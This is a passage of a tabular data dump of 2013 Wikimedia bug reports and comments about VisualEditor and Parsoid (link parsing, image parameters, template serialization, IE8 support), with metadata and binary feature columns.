+Wikitext [[/Foo/]] should be interpreted as a link to ./Foo with label ""Foo"". This is likely a bug in Parsoid but I'm filing it in VisualEditor for now (feel free to make dependant on a Parsoid bug, or if it requires no action from our end, re-purpose and move there).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11096}",Needs Triage,90.0,1371771480,1371771658.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pfavb4dwppjl5cul5xfr,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+233418,"VisualEditor: Internal wiki link using ""pipe trick"" [[/Foo/]] to link to sub page broken","
+
+*** This bug has been marked as a duplicate of bug 48081 ***",,,1371771658,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pfavb4dwppjl5cul5xfr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51891,Parsoid: full sized images are displayed regardless of a |pictured parameter,"In particular it appears that the |pictured parameter in a file link is not being recognised. Take a look at https://en.wikipedia.org/wiki/User:PamD in the VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371748800,1371769152.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+231505,Parsoid: full sized images are displayed regardless of a |pictured parameter,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372933999,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+231499,Parsoid: full sized images are displayed regardless of a |pictured parameter,"This is a dupe of bug 48387 which is fixed and deployed as of a few minutes ago but Parsoid's cache needs to be purged for this to show up.
+
+*** This bug has been marked as a duplicate of bug 48387 ***",,,1371769152,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+231493,Parsoid: full sized images are displayed regardless of a |pictured parameter,"Aha,",,,1371751846,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+231488,Parsoid: full sized images are displayed regardless of a |pictured parameter,"No, it's the : in front of the Image:name, that isn't being recognized.",,,1371751628,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+51877,VisualEditor: Pawn ♙ appears when bolding multiple list items at same time,"If one creates two list items and then tries to bold them at the same time, the items are removed and replaced with a pawn symbol. This is reproducible on the version currently deployed on the English Wikipedia.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371738780,1371774369.0,PHID-USER-n6a5asuonlcdc2xmndl2,False,,False,PHID-TASK-gt3d3w3roul5snkreii4,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+230629,VisualEditor: Pawn ♙ appears when bolding multiple list items at same time,"Dupe of bug 49732 which is fixed in master and wmf8; will get that pushed to production wmf7 tonight.
+
+*** This bug has been marked as a duplicate of bug 49732 ***",,,1371774369,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gt3d3w3roul5snkreii4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+51824,Existing image inclusions are duplicated and truncated by VisualEditor,"In the following edits, images that were already in the article were duplicated on save, and the duplicate was truncated:
+
+https://fr.wikipedia.org/w/index.php?diff=94163829
+https://www.mediawiki.org/w/index.php?diff=713109
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371654120,1371721408.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-cttjkncimnkmzpg2rgta,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+252856,Existing image inclusions are duplicated and truncated by VisualEditor,"This is 49729.
+
+*** This bug has been marked as a duplicate of bug 49729 ***",,,1371721408,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cttjkncimnkmzpg2rgta,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+252852,Existing image inclusions are duplicated and truncated by VisualEditor,"(sorry, just saw the first edit.)",,,1371659331,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cttjkncimnkmzpg2rgta,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+252845,Existing image inclusions are duplicated and truncated by VisualEditor,One more: https://www.mediawiki.org/w/index.php?title=VisualEditor%2FFAQ&diff=713663&oldid=713655,,,1371659142,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cttjkncimnkmzpg2rgta,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1
+51810,Parsoid cannot parse some wikimarkup,"See https://en.wikipedia.org/wiki/User:Kephir/acid
+
+In the VE: https://en.wikipedia.org/wiki/File:MediaWiki_acid_markup_-_VisualEditor.png
+In the normal, rendered page: https://en.wikipedia.org/wiki/File:MediaWiki_acid_markup_-_native_rendering.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371645900,1371660571.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-u5v4rso2epl4jpiezw4u,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+251855,Parsoid cannot parse some wikimarkup,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934053,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u5v4rso2epl4jpiezw4u,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+251846,Parsoid cannot parse some wikimarkup,"Note that the use of HTML comments mid-token was WONTFIXed: bug 49750.
+
+*** This bug has been marked as a duplicate of bug 49753 ***",,,1371660571,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u5v4rso2epl4jpiezw4u,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51802,VisualEditor: IE8 support,"Tracking bug; the VisualEditor doesn't seem to work in IE8 (this may be a feature as well as a bug). I'm going to recommend that people upgrade, and mark this as an enhancement, but: it would be nice to have an official statement on if this is coming, if so, when, if not, why, etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1371633600,1371656351.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-b7f2axjx5q6kogc6seqp,task_description,declined,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+251182,VisualEditor: IE8 support,Great! Thanks.,,,1371658981,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+251178,VisualEditor: IE8 support,"(In reply to comment #4)
+> Makes a lot of sense. Any specific technologies that are problematic? Just
+> so I can avoid coming off as ""we're not doing it, it's hard"".
+
+Primary technologies:
+* HTML 5, most notably with ContentEditable (IE8 has basic support; IE in general has major issues with elements that aren't editable inside ones that are - e.g. templates inside pages - though we've found a way to hack around it in IE9&10 for now)
+* Javascript (ECMAScript) 5 (not all of it, which is good as IE9 doesn't do that either, but more than IE8 supports)
+* Selection interaction (IE's support is... Quixotic, to be polite)
+* Key detection/over-riding (same as for selection)",,,1371658853,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+251175,VisualEditor: IE8 support,"Makes a lot of sense. Any specific technologies that are problematic? Just so I can avoid coming off as ""we're not doing it, it's hard"".",,,1371657906,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0
+251169,VisualEditor: IE8 support,"This is a WONTFIX; Internet Explorer in general doesn't support many of the key technologies that VisualEditor relies upon, and this becomes more acute the further back from IE10 you get.
+
+Supporting ""just"" IE9 and IE10 has been approximately 90% of our browser-specific workload; for IE8 support, we would need to write an entirely parallel implementation of VisualEditor just for that (and even then, most things wouldn't work).
+
+We cannot justify spending a very significant amount of donors' funds on IE8, which is (as of May) less than 5% of all our readers, and likely even less than that for editors. See [[mw:VisualEditor/Target browser matrix]] (which needs to be updated) for detail about which browsers we actively support.",,,1371656351,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+251164,VisualEditor: IE8 support,That's an en_INTERNET idiom. Do you want me to sic the internationalisation team on you? Cuz I will.,,,1371650531,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0
+251158,VisualEditor: IE8 support,Kill it with fire!,,,1371650457,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+51795,VisualEditor: Insert media create link to undefined,"https://en.wikipedia.org/?diff=560548908
+
+Step to reproduce:
+1. Click on the ""Media"" button on VisualEditor toolbar
+2. Choose a media to insert
+3. Click ""Insert media""
+4. Save page
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371612300,1371627753.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,False,PHID-TASK-2mi7knu2wbwwklhttype,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+250757,VisualEditor: Insert media create link to undefined,"Same thing?
+
+*** This bug has been marked as a duplicate of bug 49596 ***",,,1371627753,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-2mi7knu2wbwwklhttype,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+51768,VisualEditor: strange artefact in monobook when resizing images,"Screenshot
+
+Check out the top left of the screen; interacting with an image, in a resize-y way, causes resize-like highlighting to appear in monobook.
+
+Windows 7, Firefox 21.0
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11696}",Needs Triage,90.0,1371584640,1373155495.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-54g2ow3ld3vtvnaijiwz,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+249272,VisualEditor: strange artefact in monobook when resizing images,"This is a duplicate of bug 50074 (despite the naming, it was a wider issue with phantoms), which is now fixed.
+
+*** This bug has been marked as a duplicate of bug 50074 ***",,,1373155495,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-54g2ow3ld3vtvnaijiwz,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+51756,"VisualEditor: VE providing unasked-for removal of ""duplicate"" formatting","See (ferinstance) https://en.wikipedia.org/w/index.php?title=User:JohnCD/draft&diff=560430675&oldid=560430611
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371574560,1371574643.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-kybodyavmyonstmof6sr,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+248519,"VisualEditor: VE providing unasked-for removal of ""duplicate"" formatting","
+
+%%%*** This bug has been marked as a duplicate of bug 49755 ***%%%",,,1371574643,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kybodyavmyonstmof6sr,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+51739,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"If you explicitly declare positional parameters in a template, and then edit it with the Visual Editor, the Template Inspector converts it to implicitly declared positional parameters - i.e. {{some template|1= foo |2= bar }} becomes {{some template|foo|bar}}.
+
+Now, if an explicit positional parameter contains an equals sign, then the Template Inspector puts nowiki tags around it. So {{some template|1= foo=bar |2= baz }} becomes {{some template|<nowiki>foo=bar</nowiki>|baz}}. However, ""foo=bar"" and ""<nowiki>foo=bar</nowiki>"" are not equivalent wikitext. For example, nowiki tags will break wikilinks.
+
+There's an example of the difference in this diff:
+https://www.mediawiki.org/w/index.php?title=VisualEditor:Template_test&diff=712906&oldid=712905
+
+See the effects for the revisions before and after (look at the ""Inline template"" section).
+
+Before: https://www.mediawiki.org/w/index.php?title=VisualEditor:Template_test&oldid=712905
+After: https://www.mediawiki.org/w/index.php?title=VisualEditor:Template_test&oldid=712906
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371545100,1373561023.0,PHID-USER-rjtk3h6l2quifuajiime,False,,False,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+247573,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"Change 72876 merged by jenkins-bot:
+Bug 49739: Use named parameter if value contains '='
+
+https://gerrit.wikimedia.org/r/72876",,,1373416635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+247568,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"Change 72876 had a related patch set uploaded by GWicke:
+Bug 49739: Use named parameter if value contains '='
+
+https://gerrit.wikimedia.org/r/72876",,,1373415473,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+247564,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"This feels like a Parsoid bug, but I'm not sure? The user creating the equivalent of {{foo|1=foo|2=bar=foo}} should serialise to {{foo|foo|2=bar=foo}} instead of  {{foo|foo|bar<nowiki>=</nowiki>foo}}.",,,1373403587,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+247559,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,See also bug 49743.,,,1371552288,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+51730,VisualEditor: visual representation of template breaks on 'apply changes',"Screenshot
+
+See associated screenshot. This was an attempt to include ""foo"" in a string-based parameter in the infobox on https://www.mediawiki.org/wiki/VisualEditor:Template_test
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11624}",Needs Triage,90.0,1371532800,1372015399.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xfgiug37am4goz3ewbs4,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+247136,VisualEditor: visual representation of template breaks on 'apply changes',"This is a dupe of bug 49854.
+
+*** This bug has been marked as a duplicate of bug 49854 ***",,,1372015399,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xfgiug37am4goz3ewbs4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51728,Enable voting in VisualEditor product,"If I want to track a bug, I can just vote for it. This is pretty common practice, as I understand it. 
+
+But voting seems to be disabled in the VisualEditor product. Can we have it please?
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1371524400,1371527182.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-gpu6rhupzadk44q3zvmd,task_description,declined,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+246940,Enable voting in VisualEditor product,"The voting system is worse than valueless; it has absolutely impact on prioritisation (we use judgement and actually talking to the community for that), which is bad enough, but it gives users the entirely-false expectation that we even notice, let alone act upon, their ""votes"".
+
+The ""voting"" system should be removed from Wikimedia's Bugzilla instance for all products, but at the very least, I think it's dangerously disrespectful to our users - who can't be expected to know this works in practice - to add its rot to any more places.
+
